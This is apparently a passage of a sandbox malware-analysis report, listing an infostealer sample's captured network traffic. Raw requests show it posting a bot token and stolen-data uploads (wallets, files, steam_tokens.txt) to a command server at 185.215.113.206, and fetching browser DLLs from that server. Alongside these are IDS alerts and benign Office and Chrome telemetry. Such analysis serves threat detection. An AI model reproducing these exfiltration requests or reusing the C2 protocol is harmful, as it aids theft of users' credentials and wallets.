4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 2d 2d 0d 0a Data Ascii: ------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="file"------CGCFIIEBKEGHJJJJJJDA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAKHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="file"------AFHDBGHJKFIDHJJJEBKE--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIDAKJDHJKFHIEBFCGHHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIDAKKJJJKKECAKKJEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HIIIDAKKJJJKKECAKKJEContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------HIIIDAKKJJJKKECAKKJEContent-Disposition: form-data; name="message"wallets------HIIIDAKKJJJKKECAKKJE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDBFCBGDBKKECBFCGIEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 2d 2d 0d 0a Data Ascii: ------HIDBFCBGDBKKECBFCGIEContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------HIDBFCBGDBKKECBFCGIEContent-Disposition: form-data; name="message"files------HIDBFCBGDBKKECBFCGIE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJECGHJDBFIJJJKEHCBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 2d 2d 0d 0a Data Ascii: ------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KJJECGHJDBFIJJJKEHCBContent-Disposition: form-data; name="file"------KJJECGHJDBFIJJJKEHCB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 2d 2d 0d 0a Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="message"ybncbhylepme------KKEHDBAEGIIIEBGCAAFH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCFHJDBKJKEBFHJEHIIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 34 32 35 33 63 36 38 30 32 33 38 64 62 39 66 63 62 34 66 38 63 30 33 62 62 63 65 32 61 63 63 63 39 37 31 62 38 34 32 30 35 32 66 36 65 33 34 64 31 66 61 61 39 65 35 65 35 30 33 34 36 30 38 62 65 34 65 37 33 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 2d 2d 0d 0a Data Ascii: ------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="token"b34253c680238db9fcb4f8c03bbce2accc971b842052f6e34d1faa9e5e5034608be4e730------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CFCFHJDBKJKEBFHJEHII--

Source: Joe Sandbox View	IP Address: 152.195.19.97 152.195.19.97
Source: Joe Sandbox View	IP Address: 23.198.7.180 23.198.7.180
Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:50987 -> 185.215.113.206:80

Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
